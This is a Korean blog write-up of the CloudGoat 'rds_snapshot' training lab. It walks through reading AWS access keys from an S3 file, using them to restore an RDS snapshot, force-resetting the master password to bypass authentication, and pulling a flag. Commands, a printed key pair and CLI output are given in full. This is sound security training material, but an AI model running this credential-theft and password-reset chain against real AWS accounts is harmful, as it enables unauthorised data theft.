&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size16&quot;&gt;박제된 스냅샷을 실제 인스턴스로 복원하여 데이터에 접근할 수 있는 상태로 만듦&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;19&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,0&quot;&gt;스냅샷 식별&lt;/b&gt;: cg-rds-snapshot이라는 이름의 백업 이미지를 확인&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,0&quot;&gt;데이터베이스 복원 (Restore)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;19,1,2&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;i data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,2,0,0&quot;&gt;주의: 스냅샷 자체는 조회가 불가능하므로 반드시 새로운 인스턴스로 생성해야 한다.&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-ved=&quot;0CAAQhtANahgKEwi3s9fA8LSTAxUAAAAAHQAAAAAQpAk&quot; data-hveid=&quot;0&quot;&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier attack-rds \
    --db-snapshot-identifier cg-rds-snapshot \
    --vpc-security-group-ids [SG-ID] \
    --profile david
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,2,0&quot;&gt;비밀번호 강제 변경 (Modify)&lt;/b&gt;: 원본 비밀번호를 모르더라도 ModifyDBInstance 권한을 이용해 attack1234!로 초기화하여 인증을 우회&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;20&quot; data-ke-size=&quot;size23&quot;&gt;5. 최종 목표 달성 (Flag Exfiltration)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;21&quot; data-ke-size=&quot;size16&quot;&gt;부활시킨 데이터베이스 내부로 침투하여 데이터를 획득&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;22&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;22,0,0&quot;&gt;엔드포인트 확보&lt;/b&gt;: describe-db-instances 명령어로 복원된 DB의 접속 주소를 따냄&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;22,1,0&quot;&gt;DB 접속&lt;/b&gt;: mysql 클라이언트를 사용하여 탈취한 계정(cgadmin)과 변경한 비밀번호로 접속&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;22,2,0&quot;&gt;데이터 조회&lt;/b&gt;: mydatabase 내의 flag 테이블을 쿼리하여 최종 플래그를 획득
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;22,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;22,2,1,0,0&quot;&gt;FLAG&lt;/b&gt;: flag{cg-secret-495624-205465}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Route Walkthrough&amp;nbsp;- IAM 사용자 &quot;David&quot;&lt;/h2&gt;
&lt;a id=&quot;user-content-route-walkthrough---iam-user-david&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md#route-walkthrough---iam-user-david&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자는 탈취한 EC2 인스턴스에 접근 권한을 얻습니다.&lt;/li&gt;
&lt;li&gt;공격자는 손상된 EC2 인스턴스의 S3에 접근하여 자격 증명을 탈취합니다.&lt;/li&gt;
&lt;li&gt;공격자는 탈취한 자격 증명을 사용하여 AWS 관계형 데이터베이스 서비스(RDS)를 찾아 접근합니다.&lt;/li&gt;
&lt;li&gt;공격자는 RDS 스냅샷이 존재하는지 확인합니다.&lt;/li&gt;
&lt;li&gt;공격자는 RDS 스냅샷을 복원하고 고객 데이터가 포함된 데이터베이스를 탈취합니다(플래그).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;실습 환경 구축&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 생성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774228265891&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cloudgoat create RDS_snapshot&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774229588851&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ec2_IP = &quot;44.214.4.201&quot;
ssh_command = &quot;ssh -i cgidc7a27ntzqx/cloudgoat ubuntu@44.214.4.201&quot;

#파일 저장 경로
/home/xxx/.local/share/pipx/venvs/cloudgoat/lib/python3.12/site-packages/cloudgoat/rds_snapshot_cgidxicskych5p/start.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;배포가 완료되면 터미널 출력 결과에서 공격의 출발점이 되는 &lt;b data-index-in-node=&quot;33&quot; data-path-to-node=&quot;7&quot;&gt;EC2 인바운드 IP&lt;/b&gt;와 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;7&quot;&gt;SSH 접속 명령어&lt;/b&gt;를 확인하여 기록한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;EC2 IP 분석&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;주어진 IP의 주소로 웹을 접속하면 사이트에 연결할 수 없다고 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2348&quot; data-origin-height=&quot;1241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dAWNpq/dJMcagrjYMm/KhfGzaq1UCrn8JHTTVEMXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dAWNpq/dJMcagrjYMm/KhfGzaq1UCrn8JHTTVEMXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dAWNpq/dJMcagrjYMm/KhfGzaq1UCrn8JHTTVEMXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdAWNpq%2FdJMcagrjYMm%2FKhfGzaq1UCrn8JHTTVEMXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2348&quot; height=&quot;1241&quot; data-origin-width=&quot;2348&quot; data-origin-height=&quot;1241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;보안그룹에 로컬 호스트 IP주소의 인바운드가 허용되어 있지 않다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; SSH 접속을 위한 환경 설정 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;CloudGoat가 생성한 SSH 개인키는 보안상 매우 민감한 파일이다. 리눅스 환경에서는 키 파일의 권한이 너무 개방되어 있으면 SSH 접속을 거부하므로, &lt;b data-index-in-node=&quot;100&quot; data-path-to-node=&quot;11&quot;&gt;소유자만 읽을 수 있도록 권한을 수정&lt;/b&gt;해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774250094889&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 시나리오 디렉토리로 이동
cd /home/xxx/.local/share/pipx/venvs/cloudgoat/lib/python3.12/site-packages/cloudgoat/rds_snapshot_cgidc7a27ntzqx

# SSH 키 권한 변경
chmod 400 cloudgoat&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 타겟 인스턴스 침투 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 준비된 키를 사용하여 외부에서 접근 가능한 타겟 EC2 인스턴스에 접속한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774250172534&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SSH 접속 실행
ssh -i cloudgoat ubuntu@44.214.4.201&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;EC2 인스턴스 접속에 성공하면 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;b&gt;ubuntu@ip-10-0-1-40:~$&lt;/b&gt;로 터미널이 바뀐다. 접속에 성공했다면, 가장 먼저 이 EC2 인스턴스가 어떤 권한(IAM Role)을 부여받았는지 확인해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;유저 및 정책 확인&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;사용자 확인&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774230549382&quot; class=&quot;maxima&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws sts get-caller-identity&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위 명령어를 사용하여 사용자 정보를 확인해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774230602785&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
    &quot;UserId&quot;: &quot;AROAXYTAZH33KCAQM3OCV:i-032583aacba79a48a&quot;,
    &quot;Account&quot;: &quot;xxxxxxxxxxxx&quot;,
    &quot;Arn&quot;: &quot;arn:aws:sts::xxxxxxxxxxxx:assumed-role/cg-ec2-admin-role/i-032583aacba79a48a&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Role name : cg-ec2-admin-role&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재 이 인스턴스는 &lt;b&gt;cg-ec2-admin-role&lt;/b&gt;이라는 역할이 할당되어 있다. 이제 이 역할에 어떤 정책(Policy)이 연결되어 있는지 분석할 차례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 연결된 정책(Attached Policies) 목록 보기&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774231311181&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 역할에 포함된 인라인 정책 이름 조회
aws iam list-role-policies --role-name cg-ec2-admin-role

{
    &quot;PolicyNames&quot;: [
        &quot;cg-ec2-admin-policy&quot;
    ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; cg-ec2-admin-policy&lt;/b&gt;&lt;span&gt;라는 이름의 정책이 식별되었다.&lt;/span&gt; 정책 이름을 알아냈으면 정책의 내용을 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 정책 상세 내용(JSON) 분석&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;식별된 정책의 실제 권한 정의문(Policy Document)을 가져와 허용된 행위(&lt;/span&gt;Action&lt;span&gt;)와 대상(&lt;/span&gt;Resource&lt;span&gt;)을 분석한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774231782343&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 정책 JSON 확인
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy

{
    &quot;RoleName&quot;: &quot;cg-ec2-admin-role&quot;,
    &quot;PolicyName&quot;: &quot;cg-ec2-admin-policy&quot;,
    &quot;PolicyDocument&quot;: {
        &quot;Version&quot;: &quot;2012-10-17&quot;,
        &quot;Statement&quot;: [
            {
                &quot;Action&quot;: [
                    &quot;s3:*&quot;,
                    &quot;iam:List*&quot;,
                    &quot;iam:Get*&quot;
                ],
                &quot;Effect&quot;: &quot;Allow&quot;,
                &quot;Resource&quot;: &quot;*&quot;
            }
        ]
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;Effect&lt;/b&gt;: Allow라고 되어 있어야 내가 쓸 수 있는 권한&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Action&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; s3 : *&lt;/b&gt; ; 모든 S3 버킷에 대해 읽고, 쓰고, 지우는 &lt;b data-index-in-node=&quot;31&quot; data-path-to-node=&quot;3,0,0&quot;&gt;풀 권한&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;iam:List*, iam:Get*&lt;/b&gt; ; IAM의 모든 정보를 &lt;b data-index-in-node=&quot;33&quot; data-path-to-node=&quot;3,1,0&quot;&gt;조회&amp;nbsp;&lt;/b&gt;가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;Resource&lt;/b&gt;: 내가 그 행동을 할 수 있는 대상인데 *로 모든 곳에 다 할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;우리가 찾고 있는 건 &lt;b data-index-in-node=&quot;24&quot; data-path-to-node=&quot;3,2,0&quot;&gt;RDS 스냅샷&lt;/b&gt;인데, 현재 이 정책에는 rds 관련 권한이 없다. &lt;b data-index-in-node=&quot;37&quot; data-path-to-node=&quot;7,0&quot;&gt;S3&lt;/b&gt;를 분석해보거나&amp;nbsp;&lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;7,0&quot;&gt;IAM&lt;/b&gt; 정보를 더 캐내서, RDS 권한을 찾아봐야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span&gt;S3 분석&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;S3 버킷 목록 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;먼저 현재 권한으로 접근 가능한 모든 S3 버킷의 목록을 조회한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774238219113&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws s3 ls

2026-03-23 04:24:14 cg-data-s3-bucket-cgidc7a27ntzqx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;시나리오 ID(cgidc7a27ntzqx)가 포함된 데이터 저장용 버킷이 식별됐다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;13,1,0&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;13,1,0&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;버킷 내용 확인&lt;/b&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwi3s9fA8LSTAxUAAAAAHQAAAAAQjAM&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws s3 ls s3://[버킷이름] --recursive

2026-03-23 04:24:20         86 access_keys.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;식별된 버킷 내부에 어떤 파일들이 들어있는지 해당 버킷 내부를 확인해보니 access_keys.txt라는 문서가 존재하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;파일 내용 확인하기&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774241509574&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws s3 cp s3://cg-data-s3-bucket-cgidc7a27ntzqx/access_keys.txt -&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;S3에 있는 파일 내용을 터미널에서 바로 확인해 보자. 명령어 끝에 붙은 -는 복사 대상을 파일 시스템이 아닌 표준 출력으로 지정하겠다는 의미이다. 즉, 파일을 다운로드하지 않고 터미널 화면에 바로 출력하겠다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;cat 명령어와 비슷하게 aws s3 cp를 활용해 내용을 출력할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;추출된 데이터 내용&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774241561586&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Access Key: AKIAXYTAZH33AVUYIX5Z, Secret Key: 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&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ccess_keys.txt 파일 내용을 확인해보면 특정 IAM 사용자의 자격증명인 Access key와 Secret key 가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;* AWS 자격 증명은 절대로 S3와 같은 공유 저장소에 평문으로 저장되어서는 안 됨!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;탈취한 유저 정책 및 권한 확인&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;획득한 자격 증명을 시스템에 등록하고, 새로운 신분(David)이 가진 권한을 분석하여 최종 목표인 RDS에 접근할 수 있는 경로를 설계하는 단계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;자격 증명 등록 및 프로필 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774241655008&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws configure --profile david

# AWS Access Key ID [None]: (파일에서 나온 ID 입력)
# AWS Secret Access Key [None]: (파일에서 나온 Secret Key 입력)
# Default region name [None]: us-east-1
# Default output format [None]: json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;기본 EC2 역할(cg-ec2-admin-role)은 RDS 제어 권한이 없으므로, S3에서 탈취한 키를 사용하여 별도의 AWS CLI 프로필을 생성한다. 프로필을 사용하면 기존 권한을 유지하면서도 새로운 신분으로 명령을 내릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; David의 정책 및 권한 조사&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;새로운 신분인 david가 실제로 어떤 일을 할 수 있는지 정책 목록을 열거한다. 이 사용자의 실제 이름이 시나리오 ID와 조합된 cg-rds-instance-user-cgidc7a27ntzqx임을 사전에 파악한 후 조회를 수행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774243722530&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# david에게 어떤 정책이 있는지 확인
aws iam list-user-policies \
  --user-name cg-rds-instance-user-cgidc7a27ntzqx \
  --profile david
  
{
    &quot;PolicyNames&quot;: [
        &quot;cg-david-policy&quot;
    ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;[조회 결과]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;PolicyName&lt;/b&gt;: cg-david-policy (인라인 정책 식별)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 정책 JSON 상세 분석 &lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774243760743&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 'cg-david-policy'라는 정책이 나온다면 그 내용을 확인
aws iam get-user-policy \
  --user-name cg-rds-instance-user-cgidc7a27ntzqx \
  --policy-name cg-david-policy \
  --profile david
  
  {
    &quot;UserName&quot;: &quot;cg-rds-instance-user-cgidc7a27ntzqx&quot;,
    &quot;PolicyName&quot;: &quot;cg-david-policy&quot;,
    &quot;PolicyDocument&quot;: {
        &quot;Version&quot;: &quot;2012-10-17&quot;,
        &quot;Statement&quot;: [
            {
                &quot;Action&quot;: [
                    &quot;rds:DescribeDBInstances&quot;,
                    &quot;rds:AddTagsToResource&quot;,
                    &quot;rds:DescribeDBSnapshots&quot;,
                    &quot;rds:RestoreDBInstanceFromDBSnapshot&quot;,
                    &quot;rds:ModifyDBInstance&quot;,
                    &quot;iam:Get*&quot;,
                    &quot;iam:List*&quot;
                ],
                &quot;Effect&quot;: &quot;Allow&quot;,
                &quot;Resource&quot;: &quot;*&quot;
            }
        ]
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Action&lt;span&gt; 리스트에 &lt;/span&gt;&lt;b&gt;rds:RestoreDBInstanceFromDBSnapshot&lt;/b&gt;&lt;span&gt;과 &lt;/span&gt;&lt;b&gt;rds:ModifyDBInstance&lt;/b&gt;&lt;span&gt;가 들어있는 것을 확인했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,1,0,0&quot;&gt;rds:RestoreDBInstanceFromDBSnapshot&lt;/b&gt;: 기존 DB의 백업본(Snapshot)을 새로운 DB 인스턴스로 복원할 수 있는 권한&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,1,1,0&quot;&gt;rds:ModifyDBInstance&lt;/b&gt;: 생성된 DB의 설정을 변경할 수 있으며, 특히 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;19,0,1,1,0&quot;&gt;마스터 비밀번호를 강제 초기화&lt;/b&gt;할 수 있어 매우 위험&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 타겟 인프라 현황 파악&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공격용 DB를 복원하기 전, 현재 운영 중인 원본 DB의 네트워크 설정을 파악하여 복제본이 정상적으로 작동할 수 있는 환경(VPC, Subnet, Security Group)을 분석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774242977337&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 DB 인스턴스의 네트워크 설정 확인
aws rds describe-db-instances --profile david

{
        &quot;DBInstanceIdentifier&quot;: &quot;cg-rds&quot;,
        &quot;DBInstanceClass&quot;: &quot;db.t3.micro&quot;,
        &quot;Engine&quot;: &quot;mysql&quot;,
        &quot;DBInstanceStatus&quot;: &quot;available&quot;,
        &quot;MasterUsername&quot;: &quot;cgadmin&quot;,
        &quot;Endpoint&quot;: {
            &quot;Address&quot;: &quot;cg-rds.cuhuwuaisedu.us-east-1.rds.amazonaws.com&quot;,
            &quot;Port&quot;: 3306,
            &quot;HostedZoneId&quot;: &quot;Z2R2ITUGPM61AM&quot;
}&lt;/code&gt;&lt;/pre&gt;
